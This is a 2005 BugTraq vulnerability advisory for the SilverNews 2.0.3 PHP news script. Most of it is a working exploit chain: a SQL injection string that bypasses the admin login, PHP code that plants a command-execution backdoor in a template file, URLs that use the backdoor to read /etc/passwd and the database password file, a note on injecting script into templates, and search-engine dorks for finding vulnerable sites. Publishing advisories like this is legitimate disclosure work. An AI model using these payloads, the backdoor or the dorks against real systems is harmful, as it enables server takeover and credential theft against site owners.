BugTraq
Silvernews 2.0.3 (possibly previous versions ) SQL Injection / Login Bypass / Remote commands execution / cross site scripting Aug 03 2005 04:19PM
retrogod aliceposta it
Silvernews 2.0.3 (possibly previous versions ) SQL Injection / Login Bypass / Remote commands execution / cross site scripting

software:
author site: http://www.silver-scripts.de/scripts.php?l=en&script=SilverNews

SQL Injection / Login bypass:

A user can bypass admin password check, if magic_quotes is set to off:

user: ' or isnull(1/0) /*
pass: whatever

remote commands execution:

now, new admin can edit template, clicking on Templates -> Global footer, can
add the lines:

//***********************************************
</body>
</html>

TEMPLATE;
}
}
system($HTTP_GET_VARS[command]);

/*

to leave a backdoor in template file /templates/tpl_global.php
now can launch system commands on the target system with theese urls:

http://[target]/[path]//templates/tpl_global.php?command=ls%20-la

to list directories

http://[target]/[path]/templates/TPL_GLOBAL.PHP?command=cat%20/etc/passw
d

to see /etc/passwd file

http://[target]/[path]/templates/TPL_GLOBAL.PHP?command=cat%20/[path_to_
config_file]/data.inc.php

to see Mysql database password (look inside html...)

cross site scripting:

same way, a user can hide evil javascript code in template

googledork: "Powered by SilverNews"
or: intitle:"SilverNews 2.0 Admin control panel"

rgod
email: retrogod [at] aliceposta.it
site: http://rgod.altervista.org

original advisory: http://www.rgod.altervista.org/silvernews.html

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